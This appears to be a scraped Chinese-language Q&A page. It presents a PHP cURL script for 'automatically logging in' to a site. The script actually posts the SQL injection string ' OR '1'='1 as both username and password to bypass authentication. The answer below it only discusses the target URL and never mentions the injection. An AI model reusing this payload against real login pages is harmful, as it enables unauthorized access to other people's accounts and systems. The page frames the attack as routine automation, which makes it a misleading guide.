Webbot通过php cURL自动提交表单
我只是尝试通过php和cURL自动登录到登录表单 我有:Webbot通过php cURL自动提交表单,php,curl,web-crawler,bots,Php,Curl,Web Crawler,Bots,我只是尝试通过php和cURL自动登录到登录表单 我有: <?php # get url to form $url = "http://thesite.com/login.php"; $ch = curl_init($url); # initialize that form #run value of $_POST variable in form fields from above url. $params = "username='' OR '1'='1&password='
<?php
# get url to form
$url = "http://thesite.com/login.php";
$ch = curl_init($url); # initialize that form
#run value of $_POST variable in form fields from above url.
$params = "username='' OR '1'='1&password='' OR '1'='1&login-php-submit-button=submit";
## set cURL options
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $params); #set parameter $_POST fields
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if (!$response) {
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch); // make sure we closeany current curl sessions
die(stripslashes($http_code.' Can\'t connect to server.'));
}
//curl_close($ch); // close curl session
## echo the result from cURL 'ing
echo $response;
curl_close($ch);
?>
login.php脚本是否将值提交到另一个URL?检查login.php页面的源代码,查看表单是否提交到另一个URL(表单元素中的action=)。如果是这样,您将希望改用该URL,因为提交值的位置就是该URL。php只是收集值的表单
另一方面,login.php可能提交给它自己,在这种情况下,您有正确的URL。事实上它有:。我的$url变量应该是什么?看到$params变量有任何错误吗?就我所知,$url似乎很好。